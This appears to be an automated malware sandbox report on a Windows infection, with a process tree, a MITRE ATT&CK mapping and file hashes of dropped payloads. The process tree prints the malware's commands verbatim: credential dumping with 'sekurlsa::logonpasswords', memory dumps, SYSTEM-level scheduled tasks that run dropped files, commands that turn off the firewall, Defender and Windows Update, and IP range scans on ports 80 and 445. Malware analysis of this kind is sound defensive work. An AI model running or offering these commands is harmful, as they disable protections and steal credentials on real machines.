      net stop "TrueSight Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2632
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "TrueSight Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3112
  - - C:\Windows\SysWOW64\net.exe
      net stop npf
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1476
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2820
  - - C:\Windows\SysWOW64\net.exe
      net start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:1944
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:948
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  PID:4524
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    PID:3588
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:4016
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2956
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1172
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:5020
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\yvccbdwlz\cttnbjmli\lvnuplabi.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\yvccbdwlz\cttnbjmli\Scant.txt
  2⤵
  PID:3960
- - C:\Windows\yvccbdwlz\cttnbjmli\lvnuplabi.exe
    C:\Windows\yvccbdwlz\cttnbjmli\lvnuplabi.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\yvccbdwlz\cttnbjmli\Scant.txt
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:4924
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\yvccbdwlz\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\yvccbdwlz\Corporate\log.txt
  2⤵
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:1212
- - C:\Windows\yvccbdwlz\Corporate\vfshost.exe
    C:\Windows\yvccbdwlz\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:228
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "bkvuzyktn" /ru system /tr "cmd /c C:\Windows\ime\biebucb.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2604
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2348
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "bkvuzyktn" /ru system /tr "cmd /c C:\Windows\ime\biebucb.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3480
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "yvebmpjmb" /ru system /tr "cmd /c echo Y|cacls C:\Windows\ivwjddbm\biebucb.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:920
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2700
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "yvebmpjmb" /ru system /tr "cmd /c echo Y|cacls C:\Windows\ivwjddbm\biebucb.exe /p everyone:F"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2924
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "mgcrvdyci" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\bzlikjnbm\iljmvq.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3340
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:536
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "mgcrvdyci" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\bzlikjnbm\iljmvq.exe /p everyone:F"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:928
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3836
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3500
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:672
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4900
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3120
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:5072
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2424
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1124
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4308
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4056
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1060
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2460
- C:\Windows\TEMP\yvccbdwlz\ctkyggczb.exe
  C:\Windows\TEMP\yvccbdwlz\ctkyggczb.exe -accepteula -mp 800 C:\Windows\TEMP\yvccbdwlz\800.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3124
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop SharedAccess
  2⤵
  - System Location Discovery: System Language Discovery
  PID:8
- - C:\Windows\SysWOW64\net.exe
    net stop SharedAccess
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5000
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SharedAccess
      4⤵
      System Location Discovery: System Language Discovery
      PID:2340
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh firewall set opmode mode=disable
  2⤵
  PID:3668
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall set opmode mode=disable
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:1644
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh Advfirewall set allprofiles state off
  2⤵
  - System Location Discovery: System Language Discovery
  PID:820
- - C:\Windows\SysWOW64\netsh.exe
    netsh Advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:1484
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop MpsSvc
  2⤵
  PID:4232
- - C:\Windows\SysWOW64\net.exe
    net stop MpsSvc
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4816
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MpsSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:1536
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop WinDefend
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5044
- - C:\Windows\SysWOW64\net.exe
    net stop WinDefend
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1040
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop WinDefend
      4⤵
      System Location Discovery: System Language Discovery
      PID:1416
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop wuauserv
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3328
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1400
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      PID:2208
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config MpsSvc start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3752
- - C:\Windows\SysWOW64\sc.exe
    sc config MpsSvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:5024
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config SharedAccess start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4596
- - C:\Windows\SysWOW64\sc.exe
    sc config SharedAccess start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:4680
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config WinDefend start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2508
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:4532
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config wuauserv start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:536
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:3380
- C:\Windows\TEMP\xohudmc.exe
  C:\Windows\TEMP\xohudmc.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:2880
- C:\Windows\TEMP\yvccbdwlz\ctkyggczb.exe
  C:\Windows\TEMP\yvccbdwlz\ctkyggczb.exe -accepteula -mp 316 C:\Windows\TEMP\yvccbdwlz\316.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2176
- C:\Windows\TEMP\yvccbdwlz\ctkyggczb.exe
  C:\Windows\TEMP\yvccbdwlz\ctkyggczb.exe -accepteula -mp 1692 C:\Windows\TEMP\yvccbdwlz\1692.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3460
- C:\Windows\TEMP\yvccbdwlz\ctkyggczb.exe
  C:\Windows\TEMP\yvccbdwlz\ctkyggczb.exe -accepteula -mp 2580 C:\Windows\TEMP\yvccbdwlz\2580.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1084
- C:\Windows\TEMP\yvccbdwlz\ctkyggczb.exe
  C:\Windows\TEMP\yvccbdwlz\ctkyggczb.exe -accepteula -mp 2832 C:\Windows\TEMP\yvccbdwlz\2832.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1004
- C:\Windows\TEMP\yvccbdwlz\ctkyggczb.exe
  C:\Windows\TEMP\yvccbdwlz\ctkyggczb.exe -accepteula -mp 3016 C:\Windows\TEMP\yvccbdwlz\3016.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:5000
- C:\Windows\TEMP\yvccbdwlz\ctkyggczb.exe
  C:\Windows\TEMP\yvccbdwlz\ctkyggczb.exe -accepteula -mp 1964 C:\Windows\TEMP\yvccbdwlz\1964.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2312
- C:\Windows\TEMP\yvccbdwlz\ctkyggczb.exe
  C:\Windows\TEMP\yvccbdwlz\ctkyggczb.exe -accepteula -mp 3756 C:\Windows\TEMP\yvccbdwlz\3756.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3584
- C:\Windows\TEMP\yvccbdwlz\ctkyggczb.exe
  C:\Windows\TEMP\yvccbdwlz\ctkyggczb.exe -accepteula -mp 3840 C:\Windows\TEMP\yvccbdwlz\3840.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:456
- C:\Windows\TEMP\yvccbdwlz\ctkyggczb.exe
  C:\Windows\TEMP\yvccbdwlz\ctkyggczb.exe -accepteula -mp 3940 C:\Windows\TEMP\yvccbdwlz\3940.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2552
- C:\Windows\TEMP\yvccbdwlz\ctkyggczb.exe
  C:\Windows\TEMP\yvccbdwlz\ctkyggczb.exe -accepteula -mp 4028 C:\Windows\TEMP\yvccbdwlz\4028.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3536
- C:\Windows\TEMP\yvccbdwlz\ctkyggczb.exe
  C:\Windows\TEMP\yvccbdwlz\ctkyggczb.exe -accepteula -mp 4004 C:\Windows\TEMP\yvccbdwlz\4004.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3836
- C:\Windows\TEMP\yvccbdwlz\ctkyggczb.exe
  C:\Windows\TEMP\yvccbdwlz\ctkyggczb.exe -accepteula -mp 3876 C:\Windows\TEMP\yvccbdwlz\3876.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2916
- C:\Windows\TEMP\yvccbdwlz\ctkyggczb.exe
  C:\Windows\TEMP\yvccbdwlz\ctkyggczb.exe -accepteula -mp 4436 C:\Windows\TEMP\yvccbdwlz\4436.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:624
- C:\Windows\TEMP\yvccbdwlz\ctkyggczb.exe
  C:\Windows\TEMP\yvccbdwlz\ctkyggczb.exe -accepteula -mp 4752 C:\Windows\TEMP\yvccbdwlz\4752.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4936
- C:\Windows\TEMP\yvccbdwlz\ctkyggczb.exe
  C:\Windows\TEMP\yvccbdwlz\ctkyggczb.exe -accepteula -mp 2996 C:\Windows\TEMP\yvccbdwlz\2996.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:512
- C:\Windows\TEMP\yvccbdwlz\ctkyggczb.exe
  C:\Windows\TEMP\yvccbdwlz\ctkyggczb.exe -accepteula -mp 1780 C:\Windows\TEMP\yvccbdwlz\1780.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4308
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\yvccbdwlz\cttnbjmli\scan.bat
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2656
- - C:\Windows\yvccbdwlz\cttnbjmli\iiqtmdpdb.exe
    iiqtmdpdb.exe TCP 181.215.0.1 181.215.255.255 445 512 /save
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    PID:3712

C:\Windows\SysWOW64\wooaom.exe
C:\Windows\SysWOW64\wooaom.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:1476

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\bzlikjnbm\iljmvq.exe /p everyone:F
1⤵
PID:3472
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:3652
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\bzlikjnbm\iljmvq.exe /p everyone:F
  2⤵
  PID:640

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\ivwjddbm\biebucb.exe /p everyone:F
1⤵
PID:3660
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:3816
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\ivwjddbm\biebucb.exe /p everyone:F
  2⤵
  PID:3224

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\biebucb.exe
1⤵
PID:816
- C:\Windows\ime\biebucb.exe
  C:\Windows\ime\biebucb.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:4768

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

OS Credential Dumping

T1003

LSASS Memory

T1003.001

Discovery

Network Service Discovery

T1046

Network Share Discovery

T1135

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\SysWOW64\Packet.dll

Filesize
95KB

MD5
86316be34481c1ed5b792169312673fd

SHA1
6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5

SHA256
49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918

SHA512
3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc

Download Submit
C:\Windows\SysWOW64\wpcap.dll

Filesize
275KB

MD5
4633b298d57014627831ccac89a2c50b

SHA1
e5f449766722c5c25fa02b065d22a854b6a32a5b

SHA256
b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

SHA512
29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3

Download Submit
C:\Windows\TEMP\bzlikjnbm\config.json

Filesize
693B

MD5
f2d396833af4aea7b9afde89593ca56e

SHA1
08d8f699040d3ca94e9d46fc400e3feb4a18b96b

SHA256
d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34

SHA512
2f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01

Download Submit
C:\Windows\TEMP\yvccbdwlz\1692.dmp

Filesize
4.2MB

MD5
da96e6e289d377e8feb6668901a9bf24

SHA1
ca1b3d6be37983152010e74538630d10a1b00919

SHA256
ecd9ade903e3ccba5f96433d4c22472dce94e7a9983134679edd691a2f2cbfb8

SHA512
c6df4154b86e17fc52034ec256ee23766e90172d51aa9ab40166bc6938ceb210dfbfb0df42517b74a17579f98d231996053cdb1bf5221d5a7d8c498b597103a6

Download Submit
C:\Windows\TEMP\yvccbdwlz\1964.dmp

Filesize
2.9MB

MD5
6bc0dfdc4fc246360691a75b0e18924a

SHA1
c1be1ec14493589171bcecdc5be335a4d6de2b26

SHA256
55f2122cc81641c01a7579d1b8a18c64a07386ce6d3050c1012cb1d5f6e113ba

SHA512
7699915c262f230f279fce39fe407caf04bf07be38bf3ed5b71ad6265af2814dee5805ce05d5743b655de7ede98462a7e4194889f0a46d6043138a2ff7947d99

Download Submit
C:\Windows\TEMP\yvccbdwlz\2580.dmp

Filesize
7.6MB

MD5
e265a8f6621428c4df7df9d8313c9cab

SHA1
6e6536f61d910d367dfcc73c462bb91acc58afed

SHA256
e8df4c61f17a6ff7f45720e825a3c5749b7454100641e3bf71d7b11fdfd7fea8

SHA512
77ab46967e10bce8e2879c91f48228b08754d9ea86baf9e22149b9da6ec08b0d3476ffa9832581e9025fa30774b697612ccb6c9f75addad1f3a8db0ecfd9aa84

Download Submit
C:\Windows\TEMP\yvccbdwlz\2832.dmp

Filesize
3.9MB

MD5
497bd99c391bf53ca66a53dbe6d4e709

SHA1
fd82d7986af9a52ec984f6f21248e3f9da5c411a

SHA256
144bfac52864503e1cb68e2d5614c87eeebfc1c29a3f8c3c58911a1083e55bc2

SHA512
8d8b567a454e65e8ecd086d79f08d7e0fd847ae01f2bcd77f197b3c4a6d4ff82b3625ebcf45025a2d15aa749850e5225c4dff55eff2d20731a20dea3c17ccdfc

Download Submit
C:\Windows\TEMP\yvccbdwlz\3016.dmp

Filesize
810KB

MD5
19f651f233860c05b66effdb67d083dc

SHA1
9ec1304c3a5b4b8410e3be23b5fe40be90ce5cdd

SHA256
736cde8d3349cd8719bc187892239eb904897cff93d0b0dd44c2eeee72da2ca2

SHA512
5c0ffc3318728bd99e6b5b031c961ca7748935cd986e083171b06b075b4219be8d99c3a5e7252e002400bf77646247231c8b96d76ab55c96dccb6e2ecbf35b5a

Download Submit
C:\Windows\TEMP\yvccbdwlz\316.dmp

Filesize
33.5MB

MD5
77520075b4ae96908b0a0891120e52d4

SHA1
3704fc6c04741113ebf59cbbb1a2f140cb386d2d

SHA256
b651eb2e96fc6315bed3ce5de8514912aab01a39b1a5ea5212d8a80d839912ea

SHA512
2f7fd78f906e2df56adb968c4feb49bbf716c7e2e445601ffd71f830a82fa735453bda3ee86a13f3eeaf3a7f2c1587659cab088cad9e04ea112794ab239f527e

Download Submit
C:\Windows\TEMP\yvccbdwlz\3756.dmp

Filesize
2.6MB

MD5
65355410fc7789ddea73b067ed00fccc

SHA1
3ac553bdd873846defc5d6d29bdf51086d4399b8

SHA256
a104c53e13f1fa8a061908bf8bfcda906bdebf38a9e0609fc385e33ba3d98653

SHA512
ffcbf824ab02e83f75fae1a754dda614e558d822c300521e6c09d86689ceee3ec82213d29bc542bad4c906f8665cf473b58f7b7cc7c41413b4350c9e74085c76

Download Submit
C:\Windows\TEMP\yvccbdwlz\3840.dmp

Filesize
20.4MB

MD5
39797f7dacfbb89b9e1ee9fb7c1bfe0a

SHA1
d2dd0373ab4db2156e7653a7dce0900aa1fcf295

SHA256
02fb5b07f7b3d4e4d8954f499a31c66f9bb3c75682757272abcb9e94d4a0768f

SHA512
721934ef334ec81b1c2bc64208e3c48e2fda2dd63975f0dd30a54099413a20f7f5e011a2f6b09c68ccf6fa64602a445f1d5bbc2b01fa63088dae7facff70bd68

Download Submit
C:\Windows\TEMP\yvccbdwlz\3876.dmp

Filesize
26.0MB

MD5
dc67bd751769ba545c7bae890e8f7667

SHA1
aa7845b9b10ce1c0587ff2eadd4e75270f275171

SHA256
69998f8f8ab99bf1688b20b124a9ffbdccca48ab51ed8170f49bf761d4a2c466

SHA512
0da1b57eff0eb3aa7f18e7d24e22dbab50775157533e65ee2f80b05acb43cf149d93d92d5aaa2ddf0ac2ffb3d08011c9c1d31abda9cee3e204d0ea05e31bb826

Download Submit
C:\Windows\TEMP\yvccbdwlz\3940.dmp

Filesize
4.1MB

MD5
e3e3250f827e48dcd358aac1d163ca8e

SHA1
4a66b312dd7669ee7fddb6f76ee0e2ce88454842

SHA256
b55feeba3040da770e61f35b0c3d93247e1636be36e4dd7559036d175b8004ee

SHA512
5afd2b6dd0b936745fdf72490bd2ebfcb9c43a3a6ec018ce459f4402984fd718f11164e8fc7143e61c755db111ba74f8b9d9990aa13c6cf756f538fa2634f120

Download Submit
C:\Windows\TEMP\yvccbdwlz\4004.dmp

Filesize
1.2MB

MD5
4b5e18ddfddcff6a0c66dd89fd1aedb4

SHA1
b86b04807d19438209bd17fc8a85c6ca15ef7ebd

SHA256
118a518299aefed29c74a9cf170e07111ba1af264002b4bd1dc9b44674940c6c

SHA512
99f32b34ca8c95445d097a72e67675182ae2e670f2d70a9c9384e3f7002237dbd16913a76a91c99b39944a836756957d5bdc7d8747e8162db8ccc3be6fbf2740

Download Submit
C:\Windows\TEMP\yvccbdwlz\4028.dmp

Filesize
44.0MB

MD5
836e3e729b2487ce02d236cf05f56316

SHA1
798fc016209b8f8f346337381e7a9b51e484f994

SHA256
f4767bd6ccec8792c7d0eb10a04bb9fce4506edd07a92750d3637c8f00e5bb94

SHA512
0f0d673d4b7529ba0a32f7615acca713260281215368aaa5d8f0cf604273973e0cf3532c2be81b420ab81a74bd9c3526ccafce83e0445967b3a397bd0d220d0c

Download Submit
C:\Windows\TEMP\yvccbdwlz\4436.dmp

Filesize
8.7MB

MD5
52464db42a9203d9bbbc86d7be8924a3

SHA1
fe7ff048ff79bc6fcd491aabc6e08407d48da108

SHA256
903340c758149142c2545045c6c18b36df161e527b9c8475e2e6c5b315f0e445

SHA512
de545ea04168a38b694566222cb16a6fbaabac9c29b97a9c0c1b66a08f60977ef878c85c31a0fbd0736c0c2eb9451a3ab6e8dbda40cdc924923429d3b4f05859

Download Submit
C:\Windows\TEMP\yvccbdwlz\4752.dmp

Filesize
1.2MB

MD5
9dfa70dc18b31a4492fa11d0dee5e7cc

SHA1
97e3014661c6aa22eccaadf16282536a84fe60af

SHA256
2ea0b63501747fe5cf8aed22cc4e1fd55b12badaed20a68296ce0faeb12320ab

SHA512
d4732f664d9806b44609c6353c7d66ac59dcef6881721ed5256fa4128009ce9428a0e1f3f30832a9a8612c9d90ffde526cdda061bb82a08f050be2ad3b640af9

Download Submit
C:\Windows\TEMP\yvccbdwlz\800.dmp

Filesize
3.4MB

MD5
7501e12826a66210783faab8358fcd20

SHA1
da2be44732b617778a328dbc67997698cdabe82e

SHA256
bee4a842414918ee76797209f4a6fa2a845239dba985f16f9df1e8a08bffe7d6

SHA512
979f1e91efdbbe42ba6f22809b84429769d72306cb93fc0ab963ce60184261f0dc1b6364328d0658c0b836eb8f9900b0dffec5c212e062f39295df572e8d74ba

Download Submit
C:\Windows\Temp\bzlikjnbm\iljmvq.exe

Filesize
343KB

MD5
2b4ac7b362261cb3f6f9583751708064

SHA1
b93693b19ebc99da8a007fed1a45c01c5071fb7f

SHA256
a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23

SHA512
c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616

Download Submit
C:\Windows\Temp\nst416B.tmp\System.dll

Filesize
11KB

MD5
2ae993a2ffec0c137eb51c8832691bcb

SHA1
98e0b37b7c14890f8a599f35678af5e9435906e1

SHA256
681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59

SHA512
2501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9

Download Submit
C:\Windows\Temp\nst416B.tmp\nsExec.dll

Filesize
6KB

MD5
b648c78981c02c434d6a04d4422a6198

SHA1
74d99eed1eae76c7f43454c01cdb7030e5772fc2

SHA256
3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9

SHA512
